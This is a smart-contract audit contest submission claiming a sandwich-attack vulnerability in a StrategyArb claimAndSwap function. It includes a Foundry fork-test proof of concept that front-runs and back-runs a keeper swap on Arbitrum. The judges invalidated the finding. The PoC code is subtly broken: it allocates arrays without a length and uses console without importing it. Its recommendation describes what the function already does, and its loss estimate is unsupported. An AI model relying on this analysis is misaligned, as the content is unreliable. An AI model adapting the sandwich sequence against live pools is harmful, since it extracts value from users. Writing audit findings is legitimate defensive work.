DeFiFoundrySolidity
16,653 OP
View results
Submission Details
Severity: medium
Invalid

Sandwich Attack Vulnerability in claimAndSwap Due to Multi-Step MEV Exposure

Note

While there is an existing Medium finding about MEV risks with block.timestamp, this finding specifically addresses the larger architectural vulnerability in the claimAndSwap function that enables sandwich attacks through its multi-step process. This is distinct from and more severe than the general MEV timestamp manipulation issue.

Summary

The claimAndSwap function in StrategyArb contract exposes users to sandwich attacks due to its multi-step process of claiming and then swapping, combined with predictable price impact. This creates a more severe MEV opportunity than the general timestamp manipulation issue already identified.

Vulnerability Details

The vulnerability lies in the sequential execution of operations:

function claimAndSwap(uint256 _amountClaim, uint256 _minOut, IRamsesRouter.route[] calldata _path) external onlyKeepers {
transmuter.claim(_amountClaim, address(this)); // Step 1
uint256 balBefore = asset.balanceOf(address(this));
_swapUnderlyingToAsset(_amountClaim, _minOut, _path); // Step 2
uint256 balAfter = asset.balanceOf(address(this));
require((balAfter - balBefore) >= _minOut, "Slippage too high");
transmuter.deposit(asset.balanceOf(address(this)), address(this)); // Step 3
}

The key issue is that the entire operation (claim → swap → deposit) is done in separate steps within a single transaction, making the token flow predictable and exploitable. This is particularly dangerous because:

  1. The claim amount is visible in the mempool

  2. The swap path is predetermined

  3. The minimum output check only verifies against a user-supplied minimum

Impact

  1. When keepers execute claimAndSwap, attackers can front-run to artificially inflate alETH price and back-run to profit, leading to direct value extraction estimated at 1-3% of total swap amount (e.g., 1M swap).

  2. The strategy will receive significantly less alETH than expected for the claimed WETH due to this manipulation, permanently reducing the value of user deposits in the strategy.

  3. Since this operation occurs frequently as part of the strategy's core yield-generating mechanism, the cumulative losses from repeated sandwich attacks could make the strategy unprofitable and negate any yield advantages from the Transmuter.

Proof Of Code

// SPDX-License-Identifier: MIT
pragma solidity 0.8.18;
import {Test} from "forge-std/Test.sol";
import {StrategyArb} from "../src/StrategyArb.sol";
import {ITransmuter} from "../src/interfaces/ITransmuter.sol";
import {IRamsesRouter} from "../src/interfaces/IRamses.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract SandwichAttackTest is Test {
StrategyArb public strategy;
address public keeper = address(0x1);
address public attacker = address(0x2);
// Mainnet addresses
address constant WETH = 0x82aF49447D8a07e3bd95BD0d56f35241523fBab1;
address constant ALETH = 0x3E29D3A9316dAB217754d13b28646B76607c5f04;
address constant TRANSMUTER = 0x9FD69BEE5017144F45e347686AdF9c0B26e8Ecd1;
address constant RAMSES_ROUTER = 0xAAA87963EFeB6f7E0a2711F397663105Acb1805e;
// Fork state
uint256 mainnetFork;
function setUp() public {
// Fork Arbitrum mainnet
mainnetFork = vm.createFork(vm.envString("ARBITRUM_RPC_URL"));
vm.selectFork(mainnetFork);
// Setup strategy
strategy = new StrategyArb(
ALETH,
TRANSMUTER,
"StrategyArb"
);
// Setup keeper
vm.prank(strategy.management());
strategy.setKeeper(keeper);
// Fund attacker with WETH
deal(WETH, attacker, 50 ether);
// Fund strategy with alETH
deal(ALETH, address(strategy), 100 ether);
}
function testSandwichAttack() public {
// Setup swap route
IRamsesRouter.route[] memory routeWethToAleth = new IRamsesRouter.route[]();
routeWethToAleth[0] = IRamsesRouter.route(WETH, ALETH, true);
IRamsesRouter.route[] memory routeAlethToWeth = new IRamsesRouter.route[]();
routeAlethToWeth[0] = IRamsesRouter.route(ALETH, WETH, true);
// Record attacker's initial balance
uint256 attackerInitialBalance = IERC20(WETH).balanceOf(attacker);
// 1. Front-run: Attacker buys alETH to drive up price
vm.startPrank(attacker);
IERC20(WETH).approve(RAMSES_ROUTER, type(uint256).max);
IRamsesRouter(RAMSES_ROUTER).swapExactTokensForTokens(
10 ether, // Swap 10 WETH
0, // Accept any amount of alETH
routeWethToAleth,
attacker,
block.timestamp
);
vm.stopPrank();
// 2. Strategy performs claim and swap
uint256 claimAmount = 50 ether;
vm.startPrank(keeper);
strategy.claimAndSwap(
claimAmount,
claimAmount, // 1:1 minimum ratio
routeWethToAleth
);
vm.stopPrank();
// 3. Back-run: Attacker sells alETH at higher price
vm.startPrank(attacker);
IERC20(ALETH).approve(RAMSES_ROUTER, type(uint256).max);
uint256 alethBalance = IERC20(ALETH).balanceOf(attacker);
IRamsesRouter(RAMSES_ROUTER).swapExactTokensForTokens(
alethBalance,
0,
routeAlethToWeth,
attacker,
block.timestamp
);
vm.stopPrank();
// Calculate profit
uint256 attackerFinalBalance = IERC20(WETH).balanceOf(attacker);
uint256 profit = attackerFinalBalance - attackerInitialBalance;
// Log results
console.log("Initial WETH balance:", attackerInitialBalance / 1e18);
console.log("Final WETH balance:", attackerFinalBalance / 1e18);
console.log("Profit in WETH:", profit / 1e18);
// Assert attack was profitable
assertGt(profit, 0, "Sandwich attack should be profitable");
}
}

To run this test:

  1. Save as test/SandwichAttack.t.sol

  2. Configure environment:

# .env
ARBITRUM_RPC_URL=your_arbitrum_rpc_url
  1. Run test:

forge test --match-test testSandwichAttack -vvv

Recommendation

Implement atomic claiming and swapping through a single function call.

Updates

Appeal created

inallhonesty Lead Judge 6 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity
inallhonesty Lead Judge 6 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.